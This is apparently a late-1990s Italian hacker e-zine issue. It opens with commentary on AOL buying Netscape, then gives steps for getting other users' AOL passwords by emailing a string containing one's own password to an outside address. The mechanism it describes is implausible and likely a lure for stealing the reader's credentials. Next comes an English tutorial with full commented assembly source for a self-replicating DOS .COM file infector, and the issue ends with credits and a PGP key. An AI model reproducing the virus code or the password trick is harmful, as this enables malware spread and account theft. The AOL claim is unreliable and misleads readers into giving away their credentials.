in palio vale almeno 4 miliardi di dollari, laffare in ballo e' di dimensioni colossali. Il conto puo' essere percepito solo in via approssimativa. Circa 4 miliardi di dollari. Stiamo parlando del gigantesco acquisto da parte di American On Line (Aol), il piu' grande provider del pianeta, della societa' Netscape che con Navigator (il suo browser ossia sistema di navigazione su Internet) da sempre si pone come antagonista di Explorer (browser di Microsoft) di recente andato allassalto sui mercati mondiali per assicurarsi il primato assoluto nelle configurazioni dei personal compiuti venduti. Aol per vincere la sfida ha voluto creare una sorta di arca dellalleanza con la Sun titolare dei brevetti di linguaggio "Java". Alcuni dati sulle forze in campo. Aol puo' contare su un esercito di 14 milioni di utenti e Natscape su circa 20 milioni di contatti al suo "portale", la porta daccesso per Internet. La somma (se si puo' eseguire) fa 34 milioni di clienti, circa la meta' dellintera flotta di navigatori su Internet. Unoperazione che costituisce un importante punto di svolta nelle prospettive del World Wide Web la grande rete mondiale e del commercio via Internet. Dunque cio' che almeno apparentemente sembrava un dominio incontrastato di Microsoft viene ora per la prima volta messo alla prova, con AOL che ingaggia una sfida diretta alle ambizioni di Microsoft. Come? Mettendo in piedi larca dellalleanza con la Sun. Una stretta collaborazione grazie alla quale puo' porre il proprio marchio sulla piattaforma JAVA. Microsoft considera Internet come un terreno centrale nelle proprie strategia di sviluppo, tanto importante da aver offerto a costo zero molte delle funzioni piu' avanzate di Windows 98, giudicandole funzionali alle strategia del proprio browser. Il Web e' la nave che nessuno puo' permettersi di perdere e cio' vale anche per colui che in questo momento risulta essere il venditore dominate nel mondo per quanto attiene ai sistemi operativi, ossia Bill Gates. Nel frattempo AOL ha predisposto per proprio conto una strategia estremamente aggressiva. Mentre Microsoft soffre per i colpi che le arrivano addosso (inclusa lazione della magistratura statunitense che la ritiene responsabile di agire in regime di monopolio), AOL e' ben felice di distribuire software gratis attraverso campagne di marketing finalizzate ad assicurarsi quanti piu' nuovi sottoscrittori possibili al Web. Lacquisizione di CompuServe rientra in questa strategia: una chiara indicazione che AOL e' determinata a dominare il mercato. Alcuni utilizzatori pero' si sono lamentati per il fatto che la dominanza di AOL sta eccessivamente uniformando il WEB eliminando in questo modo le diversita' che contraddistinguono e hanno fatto il successo dello stesso, ma cio' nonostante i nuovi sottoscrittori continuano ad aumentare. Netscape gia' aveva tentato di fare la stessa cosa attraverso il Netcenter, ma non e' stata in grado di operare sui tre fronti contemporaneamente (browser, server, portal). Ora AOL possiede due dei principali strumenti di Internet, quelli che costituiscono le principali modalita' di connessione tra venditori e compratori. Venditori ed inserzionisti (qualche volta sono la stessa cosa) adesso vedono in AOL il principale canale e cio' rende sempre piu' evidente quali forti ritorni commerciali ci possano essere per AOL nel prossimo futuro. La piattaforma Java e' altrettanto importante. Netscape ha da sempre sostenuto il sistema Java ed ha avuto stretti contatti con SUN. Attraverso la vendita della tecnologia server di Netscape alla SUN, AOL potra' lavorare a stretto contatto con la stessa SUN e sviluppare applicazioni che includano il commercio su Internet dirette sia ai clienti, sia alla piattaforma di AOL. Tutto questo, e' evidente, costituira' un formidabile impulso al commercio consumer su Internet soprattutto in considerazione alla enorme massa di sottoscrittori AOL la quale vedra', in questo modo, aprirsi prospettive di poderosi ritorni economici. Dopo aver aperto questa piccola parentesi su AOL adesso veniamo al nostro lavoro e cerchiamo di entrare anche noi nel mondo di AOL. Come avete gia' letto AOL fa' anche abbonamenti gratis :):):) quelli che utilizzeremo per le pass :) Prima di tutto dobbiamo avere un bel green altrimenti le nostre bollette arriveranno alle stelle :) Seconda cosa dobbiamo andare nel sito di AOL http://www.aol.com e scaricarci il programmino, piu' o meno 7 MB, che funziona come il nostro netscape o internet explorer (e' pure piu' bello :):)), poi dopo averlo scaricato ci uscira' una shermata iniziale "SIGN ON TO AOL" se non vi esce non vi preoccupate andate nel menu' "Go To" e cliccate su "Set Up & Sign On" e ci uscira' una schermata simile al nostro accesso remoto di winzozz. adesso scrivete in "select screen name" : New User poi cliccate sul pulsante setup e scegliete il numero di telefono piu' vicino :)). Ora abbonatevi tranquillamente e avrete accesso ad AOL per 20 ore di collegamento (quando lo feci io erano 50 :):)) comunque appena abbonati avrete il vostro nome utente e passwd. Ora provate un po' la stabilita' del vostro abbonamento. :):) (Veloce vero ? :)) Adesso cerchiamo di avere un bel abbonamento per tutto l'anno :):) Quello che sto' per scrivere e' a puro scopo (di lucro :):)) didattico non mi ritengo responsabile delle azioni commesse leggendo questo articolo , quindi non fate cazzate :):). 1) mandiamo una e-mail a Airmax70@aol.com 2) Nel subject box scriviamo lo Screen Name (il nome utente) della persona di cui vogliamo sapere la pass (proviamo a caso :):)) 3) Nel Message Box scriviamo questa stringa: /cgi-bin/start?v703&login=passmachine&f=(la tua password AOL)&f=27586&javascript=ACTIVE&rsa> 4) Mandiamo l'e-mail con un file in attatched con il nome "NO" e con una grendezza di un Megabyte 5) aspettiamo due o tre minuti (che ansia :)) e controlliamo la nostra e-mail. 6) Adesso leggiamo l'e-mail, dove vi era la nostra vecchia password adesso troviamo la password dello screen name :):) semplice no? Adesso vi spiego perche': Bene noi mandiamo questa e-mail direttamente all'AOL central computer, il quale non accettera' il file attachments senza una password valida cosi' leggendo la password sbagliata non potra' leggere il vostro file e sara' costretto a rimandarvela indietro con la password corretta. :):) Ora non rompetemi le palline sul perche' faccia questa sappiate che lo fa' e basta. :) ULTIMO DISCLAIMER: NON MI RITENGO RESPONSABILE DI EVENTUALI DANNI CHE SI POSSANO RECARE CON QUESTO EXPLOIT ALL'AOL Central Computer :):) Dopo aver finito il tutto avete avuto la vostra bella password con molta semplicita', buona fortuna a tutti. Spero che quando leggerete qesto articolo questo meccanismo funzioni ancora altrimenti provate a trovare qualche aggiornamento di questo articolo :):) By XuNiL ^The Operative^ ۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰ >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > > > ----- Virus Programming (Basic)----- > > > > by XaRaBaS [l1ghtz] > > > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> This section is dedicated to those who would like to write a virus, but don't have the knowledge to do so. First of all, writing a virus is no big deal. It is an easy project, but one which requires some basic programming skills, and the desire to write a virus! If either of these is missing, writing a virus would be tedious indeed!. Well, if you meet these requisites, keep reading this article.... JE READ JNE FUCK_YOU! READ: The survival of a virus is based in its ability to reproduce. "So how the fuck do I make a program reproduce?", you might ask. Simple, by getting it to copy itself to other files.... The functional logic of a virus is as follows: 1- Search for a file to infect 2- Open the file to see if it is infected 3- If infected, search for another file 4- Else, infect the file 5- Return control to the host program. The following is an example of a simple virus: ;**************************************************************** ; START OF THE EXAMPLE: ;**************************************************************** ;Warning, this example is a (piece of shit?) ; - The virus does not test for prior infection ; - it searches only for the first .COM file in the current ; directory ; ; Careful when executing this file, since the first time it's ; executed it will search for and infect the first file in the ; directory. If we later run the newly infected file, it will find ; the first file in its directory, itself. Thus, it will re-infect ; itself over and over. ;===================CODIGO======================================= ;(The variables in a .COM file are relative to offset 100h). codigo segment 'code' org 100h ;Organize all the code starting ; from offset 100h assume cs:codigo,ds:codigo,es:codigo ;Define the use of the ;segments start proc far ;Start the routine COMIENZO: push cs ;Store CS push cs ;Store CS ; once again. pop ds ;Bring DS out from stack pop es ;Bring ES out from stack call falso_proc ;Call proc. so that its ; address is placed in the stack falso_proc proc near falso_proc endp pop bp ;BP<== Proc. address. sub bp, 107h ;BP<== BP - Previous directory ;This is done to take the variables relative to BP, since the ;infection displaces the variables at exactly the length of the ; file. At the first infection, instruction "SUB BP, 107h" is ; 107h, so that the contents of BP is 0; when I call a variable ; with "BP+VARIABLE" the value of the variable's address is not ; modified. When I load it , for example, from a 100h byte ; infected file, the instruction "SUB BP, 107h" leaves me at ; address 207h which means BP=100h, the size of the original file. ; Had I called the variable without adding BP, I would have been ; short by 100h bytes. ;Find the first .COM file in the directory ----------------------------------------- mov ah, 4eh ;Search for the 1st file lea dx, bp+file_inf ;DS:DX= offset of FILE_INF ;(*.*) so it will search all ;the files, including directory ;names with extensions. mov cx, 0000h ;Entry attributes int 21h ;These attributes mentioned in the commentary are the directory's ; entry attributes. When I set the attributes to 0, I'm telling ; DOS to search normal files. If I include a bit combination which ; provides the Hidden, System or Directory attributes, DOS will ; search for files with those attributes, as well as the normal ; files. If the search range includes the Volume bit, the search ; is limited to that. ;These are the bits which correspond to each attribute: ;Bits: 7 6 5 4 3 2 1 0 ; . . . . . . . 1 Bit 0: Read only ; . . . . . . 1 . Bit 1: Hidden ; . . . . . 1 . . Bit 2: System ; . . . . 1 . . . Bit 3: Volume ; . . . 1 . . . . Bit 4: Directory ; . . 1 . . . . . Bit 5: File ; ;Bits 6 and 7 are not used as they are reserved for "future ; applications". ;Open file ;---------------------------------------------------------------- mov ah, 3dh ;Open the file. mov al, 00000010b ;read/write. mov dx, 009eh ;DX<== DTA(filename) offset int 21h ;put the handle in AX push ax ;and store in stack. ;The attributes I'm setting in AL are not the same as before. ; These are the "open" attributes. We are only interested in the ; first 3 bits, ;bits 2 1 0: ; ; 0 0 0 Read only mode ; 0 0 1 Write only mode ; 0 1 0 Read/Write mode ; ;OK, we now have the file attributes stored in AL. What we now ; need to do is to store in DX the offset of the variable where ; I've stored the ASCIIZ chain with the name of the file to be ; opened. In this case, we don't have a NAME_OF_FILE variable. ; Instead, the name is located in the DTA (Disk Transfer Area). I ; we have it in the DTA...... Why? Simply because when we search ; for a file to infect, all the information we need is returned to ; this memory area. This buffer, if it was not reset, is found in ; the PSP; more precisely, it starts at offset 80h and is 43d bytes ; in size. ; ;The DTA format is as follows: ; ;Offset Bytes Function ; 00h 21d Used by DOS for the 4fh service ; (search for the next file) ; 15h 01d Attributes of the file that's been found ; 16h 02d File time ; 18h 02d File date ; 1Ah 04d File size in bytes ; 1Eh 13d File name in an ASCIIZ chain ; (FILENAME.EXT),0 ; ;Well, all that remains to be doe is to give DX the position in ; memory where I've stored the filename: "MOV DX, E1h" and its's ; done. But careful now, remember that DTA starts at offset 80h, ; which means I have to pass to DX the value "80h+1Eh = 9Eh". That ; would than leave "MOV DX, 9Eh"; the problem is solved. Now you are probably asking yourselves what I mean by "handle". The handle is a number which tells DOS which file we want. DOS gives us a handle for each file we open so we have to be careful to have the correct handle for each file which we read/write. ;Read the first 3 bytes. ----------------------------------------------------- pop bx ;I take the handle from the ;stack to BX push bx ;and I store it again. mov ah, 3fh ;Read file. mov cx, 0003h ;Read 3 bytes. lea dx, bp+buffer ;and store in the buffer. int 21h INFECTAR: ;(infect) ;Move pointer to the start. --------------------------------------------------- mov ax, 4200h ;I move the write pointer ;to the beginning of the program mov cx, 0000h mov dx, 0000h int 21h ;The pointer's displacement, relative to the position of the ; pointer as specified in AL, is placed in CX and DX. ; Pointer displacement modes set in AL: ; AL <== 00 Move pointer to the beginning of the file. ; AL <== 01 leave pointer where it is. ; AL <== 02 Move pointer to end-of-file. ;Write the first byte (jmp) ------------------------------------------------- mov ah, 40h ;write the first byte. mov cx, 1d ;Quantity=1. lea dx, bp+jump ;DX<== JUMP offset int 21h ;(Here we still need the handle, but we don't need to set it again ; because the register which contained the information was not ; modified. ; ;The first byte to be written is a JUMP instruction (the symbol for ; the jump is below). What follows the jump is the address of the ; jump, file-length + 1. (test the "+ 1" thoroughly, since this ; can cause problems; if so, multiply by 18 or subtract 23.) ; Hehehehe. ;Since the entire virus code is copied at the end of the file, the ; jump gives the virus control in an infected file. ;Calculating file length ------------------------------------------------- mov cx, 2 ;Copy 2 bytes. mov si, 009ah ;SI<== DTA offset lea di, bp+longitud ;DI<== File LENGTH offset. rep movsb ;Copy. ;This instruction must have the 'SOURCE' buffer address in DS:SI ; and the address where the string will be copied in ES:DI (in this ; case, I copy the file length of the DTA to the variable ; 'LONGITUD'). sub word ptr [bp+longitud], 3 ;subtract 3 bytes from ;[LONGITUD] ;The JMP is completed -------------------------------------- mov ah, 40h ;Write. mov cx, 2d ;Number of bytes. lea dx, bp+longitud ;DX<== LONGITUD (length) ; offset int 21h ;Move pointer to end ------------------------------------------------------- mov ax, 4202h ;Move the write pointer to the ;end of the program. mov cx, 0000h mov dx, 0000h int 21h add word ptr [bp+longitud],3 ;Restore LONGITUD. ;Copy the virus to the program. --------------------------------------------------- pop bx ;Restore the handle. mov ah, 40h mov cx, 190d ;number of bytes to copy. lea dx, bp+comienzo ;Start copying from.... int 21h ;Close the file after infection ------------------------------------ mov ah, 3eh ;Close file. int 21h ;Here, too, we need in DS:DX the address of the buffer which ; contains the filename string, but in this case DS and DX already ; contain those values from before. NO_INFECTAR: ;==================RETURN CONTROL TO THE HOST===================== ;Copy the buffer which contains the first 3 bytes of the file into ; memory. ------------------ mov cx, 0003h ;Number of bytes (3). mov di, 0100h ;DI<== offset 100h. Beginning of the ;program in memory. lea si, bp+buffer ;SI<== BUFFER offset rep movsb ;Copy. ;What we are doing here is to "fix" the file, since when it was ; infected, the first few bytes are overwritten by the virus. That ; is why we reconstruct the file to its original state, by copying ; the first 3 bytes, which we had stored earlier, into memory. ;Jump to offset 100h -------------------------------------------------------- mov ax, 0100h ;Address needed to execute the host jmp ax ;As we mentioned before, in .COM files the executable code begins ; at offset 100h. The information found between 00h and 100h is ; program data, like the DTA for example. ;The main difference between a .COM file and an .EXE is that a .COM ; cannot occupy more than one memory segment, or 65535 bytes. ; .EXEs can, because DOS can 'tailor' them to fit into a number of ; different segments. Unlike.EXE files. .COM files are faithful ; reproductions of the contents of memory. ;====================DATA AREA=================================== buffer db 7d dup(0) longitud db 2 dup(0) file_inf db '*.COM',0 jump db 'e'',0 ;<----jump ascii ;(The character '0' is the end of the ASCIIZ string) start endp ;End of main procedure codigo ends ;end of code segment end comienzo ;END. Go to COMIENZO ;**************************************************************** ; END OF EXAMPLE ;**************************************************************** XaRaBaS 1999 _ _ ____ _ | \ | | _____ _| __ )(_) ___ ___ | \| |/ _ \ \ /\ / / _ \| |/ _ Y __| | |\ | __/\ V V /| |_) | | __|__ \ |_| \_|\___| \_/\_/ |____/|_|\___|___/ Redattori ------------> N0bodY88 & ZeroCool & Dante Alighieri E-zine by ------------> N0bodY88 & ZeroCool & Dantuzzo & NewBies Staff Ascii by -------------> N0bodY88 & |-|15cR4zYm1nD & S0l1t4r10~M4N Loghi NewBies by -----> RigoR MorteM Articoli -------------> NewBies Staff & Friends ͻ Ŀ SALUTI ٺ ͼ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Dante Alighieri SALUTA: Adryana smav Sharra14 lalli82 MsBLiSs^ Pollici \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ N0bodY88 SALUTA: (li ordino x gruppi se no faccio doppioni come nel 1 num...) tutto il NewBies Staff ctra cui Zerocool, Dante Alighieri, Devilnet, Harlok, Blinking, Master, Firebeam, aLT255, Quequero, +MaLaTTiA, Cod, Ritz, Johnny, Ironman, [-W|nz-], _p0nic0_, Nick1, mR_bIs0n-Mr_Skull, Rez, Avogrado, Zippy2k, Dark_elf, DeviLNeT, JohnnyRunner, Barninga Z!, rwxrw-r-x, The Intruder, XuNiL, |CyRaX|, M4VER1CK, Vejeta, F3D3R1[0, Ax1s, XaRaBaS, r3b0ot, Darkside, Lord Destruction, Vecna, Ja[3]Ck, Zinco, Vulcan,Blum, Ron|n, Urkes, SkHammer, Avatar666, ElectroRipper, Nietzsche, Spymaster, Rafcrash, ZioFill, Darkman, Ramesse, Wurzel, Fusyllo, [Akuma], Nemesis, Ghimlet, Sorrow The Prince, Meew, Fritz, Alby, Sciaman, Game, Lopks, ipLey, Killex, Neural Noise, Pusillus, Kill3xx, S2, Frensis, GCC, Alpha-666, Kalidor, Velvet, Vaffa, ~aBatha, Tetofuck, Pankrazio, McFly, Sepiroth, SoftWord, Hamelin, Brusto, Anti-social, [max], StuZzik0&|bLeaH, BlackDruiD, Z10-K41i, \JusTme\, St0rM BriNgeR, Ennaro, Mr Skull, S_A_S_H_A, Devil_666, Carnifex, KarmA_YogA, Pippol Calo' e a tutti quelli che ho dimentica to {|:D tutti gli Spippolatori ed in particolare RigoR MorteM, Master, Wurzel, Teresa Canis, X-Hacker, Harlock, Misha, ChRoMe, ADaM, Tira, F14m3r, Brigante, Fritz, Buttha, Azathoth, NighTiger, AntoMar, erGoline, SirPsychoSexy, Harlock, Jamil :), Conte Stefy Rainer, Baccoz, Hackmore, Chrome e i suoi due simpaticcissimi amici tutti quelli di BFI ed in particolare \sPIRIT\, Black Berry, Blinking, Vanadio, Cavallo, Smaster, Belfaghor, Fusys, Nelloz, (gli ultimi 4 conosciuti allo smau e posso conferma..sono dei miti :DD) tutti quelli di Systemdown in particolare Ragged Robin e Infected machine tutti quelli della crew NoUseFoRaNamE, Mimmo, Nitro THe DeMoN, Simone, Stramegamerz, tutti quelli che vengono col treno e si leggono i miei manuali e anke quelli con cui ci si fuma le cicche in bagno alla faccia del GrEeNjAgUaRoLdMeN. TE LO BRUCIO IO IL BMW =) HIHIHIHIHIHIHIHIHIHIHIHIHI tutti gli altri ed in particolare NO SPAM, Meimi, Black Baron, Zelig, Newbie 1.0, Luna, Mayhem, Maniac666, Dr_Slump, Lupo, Adriana, raul, A-SyNcHrO, BlackJAM, Linux, Nt Flander, L0rdFelix, Antirez, Awgn, Li-nux, w00w00, lo Smilzo, _hola_, Lord Guf, Li-nux, Oldiron 61, Bobo, Lando e tutti quei grandi degli Attila Hack e del Wannabe Staff, ^Acidburn, war-lock, Nyarlothe, Azim, NaiL_d0d, ]s4TsYN[, `dize`, Napo, NikDH, Jammina e Esponential Force. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ͻ Ŀ THIS NUMBA IS DEDICATED BY N0bodY88 TO: ٺ ͼ [ harlok e blinking... x la folle nottata passata fuori (anke di testa!!!) ] [ avogrado... se all'esame dico avogrado invece di avogardo dopo t'accid!! ] [ spymaster... x il suo compleanno... ora possiamo tirargli le orecchie ! ] [ l0rd destruction aka l0rdo... buon compleanno e scusa il ritardo ;) ] [ m0f0z... nel bene e nel male eri uno di noi... x noi sei ancora in rete ] [ black berry... xche' nessuno ti potra' mai fermare... ] [ andrea monti... x tutto quello che ha fatto e sta facendo x noi... ] [ rigor mortem... x l'occasioni date a me ed agli altri newbies... ] [ badcluster... aspettiamo tutti un tuo ritorno... noi ci trovi sempre qua ] [ \sPIRIT\... x il fantastico libro Linguaggio Assembler Avanzato... ] [ Andrea Monti.. x cio' che mi ha detto e xche' conosceva NewBies =======) ] [ mayhem, nt, chrome... x il droga-alcool-pizza party la notte dello smau ] [ la cameriera della pizzeria dove e' avvenuto il fatto sopra... veryfiga! ] [ tutti quelli conosciuti e/o rivisti allo smau... quando the next time?? ] [ master...xche' ci rifornisce sempre di ottimi articoli e xche' esiste ;) ] [ nitro the demon...xche' spero me dia na mano agli esami e in asmdober... ] [ mimmo... aaaaallllllllllllaaaa ccccooonnnnssssoooooooooooooooollllll.... ] |-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|- Fine e-zine: purtroppo questa volta come le altre siamo giunti alla fine di questa e-zine. Sperando che gli articoli siano piaciuti e abbiano potuto dare una mano, uno spunto o anke solo una dritta a qualcuno di voi noi ci congediamo (io in particolare che sto scrivendo =) ehehe ) lasciandovi con un pezzo della canzone Imagine del sempremitico John Lennon... "U may say I'm a dreamer... but I'm not the only one..." In memory of our friend John Lennon N0bodY88 a really really newbies and a proud member of NewBies Staff PS: io conto di rivedervi al prox numero della e-zine...non mancate ;) PSS: x chi volesse scriverci ricordo che la mia mail e' n0body88@freemail.it e quella di dante e' dantuz@freemail.it PSSS: x chi volesse scrivermi ma si sentisse..come dire..braccato..ecco la mia public key di pgp...anke se...chi volete che mi scriva ;) -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGPfreeware 6.0 for non-commercial use mQGiBDfs8loRBADKshBc++QyN0pDdMwSrbw/inzCpAOiVE9IEbQOQFydr3UwrQrj 7rXgAY6VaILsYRxvw2t6oFRnU+qjcfGCWqimYurNAUx89s6VhapSGk76zxKv+AFD 4eRwP14VbNyAprFwkRhJGek/ggyL/qXDy+HopCREz76iOn4MedQjG1Lv3wCg/5e2 GVk2D67pe52QQm8KAeDxGAkEAJaXuE3dVYKzpGV1zVY40/zZivOfo/ooOZJw9CVo tcN89J7lnDYnCKV7joYRPJBWGcQv5e+4Vwv6YShxeB9lGx/SmVIjciLjFi+IdjjM ILZyxTS5xHUkCrO8Ojv9Wcl/Qmc2VIs08gRopjyBPQcUxpmR1rneKDpz/NS7GTCr zudvA/9IwvgDxKwxbJBw0V4lSt2Owg8ueZ8c57+2/Vn5HUBm8g1BimZaEf3hhaZ0 sjJzBHvAMiZ5Qz/YdK36FYMbNj8Dy2zVo0G5Oy2rzdTYFZQ52tglzs628u4afAeo 0Nr5Bd5kAmt0viE1/F1VMhAbIJ1Uz1iDuppOscYTOP3EsPis77QfTjBib2RZODgg PG4wYm9keTg4QGZyZWVtYWlsLml0PokASwQQEQIACwUCN+zyWgQLAwIBAAoJEJaw l57ZXoLVuuUAnRbRFaT67f9CexKFQgSWBnKbXRm7AKD/JvBx+Tkpyf8lb6sK7mx1 MvV067kDDQQ37PJaEAwAzB13VyQ4SuLE8OiOE2eXTpITYfbb6yUOF/32mPfIfHmw ch04dfv2wXPEgxEmK0Ngw+Po1gr9oSgmC66prrNlD6IAUwGgfNaroxIe+g8qzh90 hE/K8xfzpEDp19J3tkItAjbBJstoXp18mAkKjX4t7eRdefXUkk+bGI78KqdLfDL2 Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33 TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBh znzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmsz bDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1 Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9 iUsiGSa6q6Jew1XpTDJvAAICC/9E+BxFTgNDfSS2y4wMkCKS23nwaf/743XZvFro n2YLj4h5Y8/9GrqZohiCpG8jh3v2Cl7akibr6GyyFGA/IGTO1ulNBk/QnMA915ew b2xpizQ5YWtWjHPJe/CHFE9YlKTfIDNj40kJqTs+n8UK5Va0QLkQfyF3kXrN/xLk lPUWQ0iHWEw5loLa8oty9gkXmyPeC+9pKpYafwTgFIR75AsXZPOMOQI5EK41TCUG ZsEjndbQfJDz0lhJ0imexDPcJm5duTQB/jJ0Q3Xcwcf5FPvQIhI5QbREBn/r3jm4 2wPpZpX3QX8JFuUyD8WSw9eMWkAMhN544ecCdZVkSnncBWoBAs/M0WJbGUOh/Q3v Y4ryL7rEIrbfI9tsTid7U+bUSkniEP+BM4RvpwI/y0cbYk9sKoj0HqMEOGFUbu2i rrQXsmHFpMvZovZ/ZngrPrUoDBpV8nockT7v7AfLmv7rZ8AEZyQIf1FZUneMDdU9 2TY3EPjpWv8tAbpBJKYOI1b8nQGJAEYEGBECAAYFAjfs8loACgkQlrCXntlegtWj VACfRCK10caFI1sRJWTgwFSNXBLhhW4An3wV7C2cuQ05p2DrgcHeXwgcpro/ =lCm/ -----END PGP PUBLIC KEY BLOCK----- ... chi arriva qui leggendo tutto e tutto d'un fiato vince un weekend di distruzione totale a casa di N0bodY88 ... sconsigliato ai deboli di cuore ... in caso di okkupazione "indebita" della casa da parte dei miei, il destruction party avvera' in casa di dante (tanto non glielo ho ancora detto =) ... hihihi